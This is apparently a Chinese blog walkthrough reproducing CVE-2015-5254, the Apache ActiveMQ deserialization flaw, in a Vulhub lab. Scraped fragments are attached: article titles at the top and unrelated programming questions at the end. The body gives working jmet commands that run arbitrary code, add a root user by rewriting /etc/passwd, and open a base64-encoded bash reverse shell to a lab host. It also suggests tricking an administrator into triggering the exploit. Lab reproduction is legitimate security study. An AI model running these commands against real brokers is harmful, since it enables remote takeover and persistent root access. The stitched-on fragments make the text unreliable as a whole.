- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
1.漏洞介绍.
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码.
2.环境介绍.
复现环境采用kali搭建Vulhub.
靶机: 172.18 . 0.1 : 8161
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问 http://your-ip:8161 即可看到web管理页面,不过这个漏洞理论上是不需要web的.
3.漏洞利用.
3.1漏洞利用过程简述.
3.2具体过程.
(1)访问web界面并进行登录.
账号:admin
密码:admin
(2)使用 j met进行漏洞利用.
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误).
wget https: // github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar // 下载jar文件 mkdir external // 创建external文件夹
执行命令:
java -jar jmet- 0.1 . 0 -all.jar -Q event -I ActiveMQ -s -Y " touch /tmp/success " -Yp ROME 172.18 . 0.1 61616
//创建 /tmp/success,同理可进行其他命令的操作
我们返回管理界面,发现添加了一个名为事件的队列.
点击进入 。
此时已经触发命令执行,我们进入dockor查看 。
docker
ps
docker exec -it b189872443f5 /bin/bash
可以发现tmp目录已创建,进入发现sucess,漏洞利用成功 。
创建一个用户 。
java -jar jmet- 0.1 . 0 -all.jar -Q event -I ActiveMQ -s -Y " useradd -g root -s /bin/bash -u 10010 Tom " -Yp ROME 172.18.0.1 61616
触发条件和之前相同,在管理界面去点击队列 。
java -jar jmet- 0.1 . 0 -all.jar -Q event -I ActiveMQ -s -Y " sed -i " s/test:x: 10010 /Tom:x: 0 /g " /etc/passwd " -Yp ROME 172.18.0.1 61616 //修改权限 java -jar jmet- 0.1 . 0 -all.jar -Q event -I ActiveMQ -s -Y " echo " Tom:sd123456 " | chpasswd " -Yp ROME 172.18.0.1 61616
//添加密码
至此,一个权限为root,密码为123456的用户被我们创建成功,之后可以直接进行ssh远程连接 。
或者将命令换为反弹shell再利用:
bash -i >& /dev/tcp/ 172.18 . 0.1 / 777 0 >& 1
使用base64编码payload绕过Java机制 。
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx
附上base64编码脚本 。
import base64 # Sample string to encode string = " bash -i >& /dev/tcp/172.18.0.1/777 0>&1 " # Encoding the string encoded_string = base64.b64encode(string.encode( ' utf-8 ' )) # Printing the encoded string print (encoded_string.decode( ' utf-8 ' ))
构建pyload 。
java -jar jmet- 0.1 . 0 -all.jar -Q event -I ActiveMQ -s -Y " bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTguMC4xLzc3NyAwPiYx }|{base64,-d}|{bash,-i} " -Yp ROME 172.18.0.1 61616
使用nc监听端口 。
反弹shell成功 。
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发.
。
最后此篇关于CVE-2015-5254漏洞复现的文章就讲到这里了,如果你想了解更多关于CVE-2015-5254漏洞复现的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我正在开发一个 Angular 应用程序并想使用 Protractor 对其进行测试。我在中继器内有一个中继器。 我这样选择第一个中继器: var firstRepeater = element.al
vector *> victimDomains; 这是什么意思? 我得到了第一颗星 ( DomainInfo* ) 但第二颗是什么? 让我们说 DomainInfo有两个属性 ID和 name .如
如果我执行这段代码: vector > idft( vector > * v) { for_each(v->begin(), v->end(), conj); 然后编译器给我以下错误: dft
我是一名优秀的程序员,十分优秀!